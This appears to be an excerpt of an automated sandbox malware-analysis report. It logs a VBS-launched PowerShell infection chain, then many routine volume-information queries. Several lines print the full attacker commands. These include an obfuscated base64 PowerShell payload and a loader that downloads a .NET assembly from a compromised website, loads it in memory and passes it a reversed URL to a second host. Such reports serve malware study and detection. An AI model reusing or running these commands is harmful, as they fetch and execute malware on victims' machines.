lq t c0 lq t c0 jw s c j bz he yqbh go l g cc mq n cw i n fi bwbk ge jw g ck kq 7 ==';$kbyhl = [system.text.encoding]::unicode.getstring( [system.convert]::frombase64string( $exeny.replace(' ','a') ) );$kbyhl = $kbyhl.replace('%pzacoginmr%', 'c:\users\user\appdata\local\temp\sostener.vbs');powershell $kbyhl;
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" "$sqaaj = '013';$wihlv = 'c:\users\user\appdata\local\temp\sostener.vbs';[byte[]] $nnuoa = [system.convert]::frombase64string( (new-object net.webclient).downloadstring('https://www.informacionoportuna.com/wp-content/uploads/2024/09/dllskyfal.txt'));[system.appdomain]::currentdomain.load($nnuoa).gettype('classlibrary1.class1').getmethod('zxkhg').invoke($null, [object[]] ('txt.1sd/svne/zram/ger/kat/961.332.202.19//:ptth' , $wihlv , '_______________________-------------', $sqaaj, '1', 'roda' ));"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" $exeny = 'j bz he yqbh go i 9 c jw w de mw n ds j b3 gk a bs hy i 9 c jw l h egbb gm twbn ek bgbn hi jq n ds wwbc hk d bl fs xqbd c j bu g4 dqbv ge i 9 c wwbz hk cwb0 gu bq u em bwbu hy zqby hq xq 6 do rgby g8 bqbc ge cwbl dy n bt hq cgbp g4 zw o c k bo gu dw t e8 ygbq gu ywb0 c tgbl hq lgbx gu ygbd gw aqbl g4 d p c4 r bv hc bgbs g8 yqbk fm d by gk bgbn cg jwbo hq d bw hm og v c8 dwb3 hc lgbp g4 zgbv hi bqbh gm aqbv g4 bwbw g8 cgb0 hu bgbh c4 ywbv g0 lwb3 h lqbj g8 bgb0 gu bgb0 c8 dqbw gw bwbh gq cw v di m y dq lw w dk lwbk gw b bz gs eqbm ge b u hq e b0 cc kq p ds wwbz hk cwb0 gu bq u ee c bw eq bwbt ge aqbu f0 og 6 em dqby hi zqbu hq r bv g0 yqbp g4 lgbm g8 yqbk cg j bu g4 dqbv ge kq u ec zqb0 fq eqbw gu k n em b bh hm cwbm gk ygby ge cgb5 de lgbd gw yqbz hm mq n ck lgbh gu d bn gu d bo g8 z o cc wgb4 es s bh cc kq u ek bgb2 g8 awbl cg j bu hu b bs cw i bb g8 ygbq gu ywb0 fs xqbd c k n hq e b0 c4 mqbt eq lwbt fy tgbf c8 egby ge tq v gc zqbs c8 awbh fq lw 5 dy mq u dm mw y c4 mg w di lg x dk lw v do c b0 hq a n c l g cq dwbp gg b b2 c l g cc xwbf f8 xwbf f8 xwbf f8 xwbf f8 xwbf f8 xwbf f8 xwbf f8 xwbf c0 lq t c0 lq t c0 lq t c0 lq t c0 jw s c j bz he yqbh go l g cc mq n cw i n fi bwbk ge jw g ck kq 7 ==';$kbyhl = [system.text.encoding]::unicode.getstring( [system.convert]::frombase64string( $exeny.replace(' ','a') ) );$kbyhl = $kbyhl.replace('%pzacoginmr%', 'c:\users\user\appdata\local\temp\sostener.vbs');powershell $kbyhl;
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" "$sqaaj = '013';$wihlv = 'c:\users\user\appdata\local\temp\sostener.vbs';[byte[]] $nnuoa = [system.convert]::frombase64string( (new-object net.webclient).downloadstring('https://www.informacionoportuna.com/wp-content/uploads/2024/09/dllskyfal.txt'));[system.appdomain]::currentdomain.load($nnuoa).gettype('classlibrary1.class1').getmethod('zxkhg').invoke($null, [object[]] ('txt.1sd/svne/zram/ger/kat/961.332.202.19//:ptth' , $wihlv , '_______________________-------------', $sqaaj, '1', 'roda' ));"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" $exeny = 'j bz he yqbh go i 9 c jw w de mw n ds j b3 gk a bs hy i 9 c jw l h egbb gm twbn ek bgbn hi jq n ds wwbc hk d bl fs xqbd c j bu g4 dqbv ge i 9 c wwbz hk cwb0 gu bq u em bwbu hy zqby hq xq 6 do rgby g8 bqbc ge cwbl dy n bt hq cgbp g4 zw o c k bo gu dw t e8 ygbq gu ywb0 c tgbl hq lgbx gu ygbd gw aqbl g4 d p c4 r bv hc bgbs g8 yqbk fm d by gk bgbn cg jwbo hq d bw hm og v c8 dwb3 hc lgbp g4 zgbv hi bqbh gm aqbv g4 bwbw g8 cgb0 hu bgbh c4 ywbv g0 lwb3 h lqbj g8 bgb0 gu bgb0 c8 dqbw gw bwbh gq cw v di m y dq lw w dk lwbk gw b bz gs eqbm ge b u hq e b0 cc kq p ds wwbz hk cwb0 gu bq u ee c bw eq bwbt ge aqbu f0 og 6 em dqby hi zqbu hq r bv g0 yqbp g4 lgbm g8 yqbk cg j bu g4 dqbv ge kq u ec zqb0 fq eqbw gu k n em b bh hm cwbm gk ygby ge cgb5 de lgbd gw yqbz hm mq n ck lgbh gu d bn gu d bo g8 z o cc wgb4 es s bh cc kq u ek bgb2 g8 awbl cg j bu hu b bs cw i bb g8 ygbq gu ywb0 fs xqbd c k n hq e b0 c4 mqbt eq lwbt fy tgbf c8 egby ge tq v gc zqbs c8 awbh fq lw 5 dy mq u dm mw y c4 mg w di lg x dk lw v do c b0 hq a n c l g cq dwbp gg b b2 c l g cc xwbf f8 xwbf f8 xwbf f8 xwbf f8 xwbf f8 xwbf f8 xwbf f8 xwbf c0 lq t c0 lq t c0 lq t c0 lq t c0 jw s c j bz he yqbh go l g cc mq n cw i n fi bwbk ge jw g ck kq 7 ==';$kbyhl = [system.text.encoding]::unicode.getstring( [system.convert]::frombase64string( $exeny.replace(' ','a') ) );$kbyhl = $kbyhl.replace('%pzacoginmr%', 'c:\users\user\desktop\sostener.vbs');powershell $kbyhl;	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" "$sqaaj = '013';$wihlv = 'c:\users\user\desktop\sostener.vbs';[byte[]] $nnuoa = [system.convert]::frombase64string( (new-object net.webclient).downloadstring('https://www.informacionoportuna.com/wp-content/uploads/2024/09/dllskyfal.txt'));[system.appdomain]::currentdomain.load($nnuoa).gettype('classlibrary1.class1').getmethod('zxkhg').invoke($null, [object[]] ('txt.1sd/svne/zram/ger/kat/961.332.202.19//:ptth' , $wihlv , '_______________________-------------', $sqaaj, '1', 'roda' ));"	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" $exeny = 'j bz he yqbh go i 9 c jw w de mw n ds j b3 gk a bs hy i 9 c jw l h egbb gm twbn ek bgbn hi jq n ds wwbc hk d bl fs xqbd c j bu g4 dqbv ge i 9 c wwbz hk cwb0 gu bq u em bwbu hy zqby hq xq 6 do rgby g8 bqbc ge cwbl dy n bt hq cgbp g4 zw o c k bo gu dw t e8 ygbq gu ywb0 c tgbl hq lgbx gu ygbd gw aqbl g4 d p c4 r bv hc bgbs g8 yqbk fm d by gk bgbn cg jwbo hq d bw hm og v c8 dwb3 hc lgbp g4 zgbv hi bqbh gm aqbv g4 bwbw g8 cgb0 hu bgbh c4 ywbv g0 lwb3 h lqbj g8 bgb0 gu bgb0 c8 dqbw gw bwbh gq cw v di m y dq lw w dk lwbk gw b bz gs eqbm ge b u hq e b0 cc kq p ds wwbz hk cwb0 gu bq u ee c bw eq bwbt ge aqbu f0 og 6 em dqby hi zqbu hq r bv g0 yqbp g4 lgbm g8 yqbk cg j bu g4 dqbv ge kq u ec zqb0 fq eqbw gu k n em b bh hm cwbm gk ygby ge cgb5 de lgbd gw yqbz hm mq n ck lgbh gu d bn gu d bo g8 z o cc wgb4 es s bh cc kq u ek bgb2 g8 awbl cg j bu hu b bs cw i bb g8 ygbq gu ywb0 fs xqbd c k n hq e b0 c4 mqbt eq lwbt fy tgbf c8 egby ge tq v gc zqbs c8 awbh fq lw 5 dy mq u dm mw y c4 mg w di lg x dk lw v do c b0 hq a n c l g cq dwbp gg b b2 c l g cc xwbf f8 xwbf f8 xwbf f8 xwbf f8 xwbf f8 xwbf f8 xwbf f8 xwbf c0 lq t c0 lq t c0 lq t c0 lq t c0 jw s c j bz he yqbh go l g cc mq n cw i n fi bwbk ge jw g ck kq 7 ==';$kbyhl = [system.text.encoding]::unicode.getstring( [system.convert]::frombase64string( $exeny.replace(' ','a') ) );$kbyhl = $kbyhl.replace('%pzacoginmr%', 'c:\users\user\appdata\local\temp\sostener.vbs');powershell $kbyhl;
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" "$sqaaj = '013';$wihlv = 'c:\users\user\appdata\local\temp\sostener.vbs';[byte[]] $nnuoa = [system.convert]::frombase64string( (new-object net.webclient).downloadstring('https://www.informacionoportuna.com/wp-content/uploads/2024/09/dllskyfal.txt'));[system.appdomain]::currentdomain.load($nnuoa).gettype('classlibrary1.class1').getmethod('zxkhg').invoke($null, [object[]] ('txt.1sd/svne/zram/ger/kat/961.332.202.19//:ptth' , $wihlv , '_______________________-------------', $sqaaj, '1', 'roda' ));"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" $exeny = 'j bz he yqbh go i 9 c jw w de mw n ds j b3 gk a bs hy i 9 c jw l h egbb gm twbn ek bgbn hi jq n ds wwbc hk d bl fs xqbd c j bu g4 dqbv ge i 9 c wwbz hk cwb0 gu bq u em bwbu hy zqby hq xq 6 do rgby g8 bqbc ge cwbl dy n bt hq cgbp g4 zw o c k bo gu dw t e8 ygbq gu ywb0 c tgbl hq lgbx gu ygbd gw aqbl g4 d p c4 r bv hc bgbs g8 yqbk fm d by gk bgbn cg jwbo hq d bw hm og v c8 dwb3 hc lgbp g4 zgbv hi bqbh gm aqbv g4 bwbw g8 cgb0 hu bgbh c4 ywbv g0 lwb3 h lqbj g8 bgb0 gu bgb0 c8 dqbw gw bwbh gq cw v di m y dq lw w dk lwbk gw b bz gs eqbm ge b u hq e b0 cc kq p ds wwbz hk cwb0 gu bq u ee c bw eq bwbt ge aqbu f0 og 6 em dqby hi zqbu hq r bv g0 yqbp g4 lgbm g8 yqbk cg j bu g4 dqbv ge kq u ec zqb0 fq eqbw gu k n em b bh hm cwbm gk ygby ge cgb5 de lgbd gw yqbz hm mq n ck lgbh gu d bn gu d bo g8 z o cc wgb4 es s bh cc kq u ek bgb2 g8 awbl cg j bu hu b bs cw i bb g8 ygbq gu ywb0 fs xqbd c k n hq e b0 c4 mqbt eq lwbt fy tgbf c8 egby ge tq v gc zqbs c8 awbh fq lw 5 dy mq u dm mw y c4 mg w di lg x dk lw v do c b0 hq a n c l g cq dwbp gg b b2 c l g cc xwbf f8 xwbf f8 xwbf f8 xwbf f8 xwbf f8 xwbf f8 xwbf f8 xwbf c0 lq t c0 lq t c0 lq t c0 lq t c0 jw s c j bz he yqbh go l g cc mq n cw i n fi bwbk ge jw g ck kq 7 ==';$kbyhl = [system.text.encoding]::unicode.getstring( [system.convert]::frombase64string( $exeny.replace(' ','a') ) );$kbyhl = $kbyhl.replace('%pzacoginmr%', 'c:\users\user\appdata\local\temp\sostener.vbs');powershell $kbyhl;
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" "$sqaaj = '013';$wihlv = 'c:\users\user\appdata\local\temp\sostener.vbs';[byte[]] $nnuoa = [system.convert]::frombase64string( (new-object net.webclient).downloadstring('https://www.informacionoportuna.com/wp-content/uploads/2024/09/dllskyfal.txt'));[system.appdomain]::currentdomain.load($nnuoa).gettype('classlibrary1.class1').getmethod('zxkhg').invoke($null, [object[]] ('txt.1sd/svne/zram/ger/kat/961.332.202.19//:ptth' , $wihlv , '_______________________-------------', $sqaaj, '1', 'roda' ));"

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Microsoft.PowerShell.LocalAccounts\1.0.0.0\Microsoft.PowerShell.LocalAccounts.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
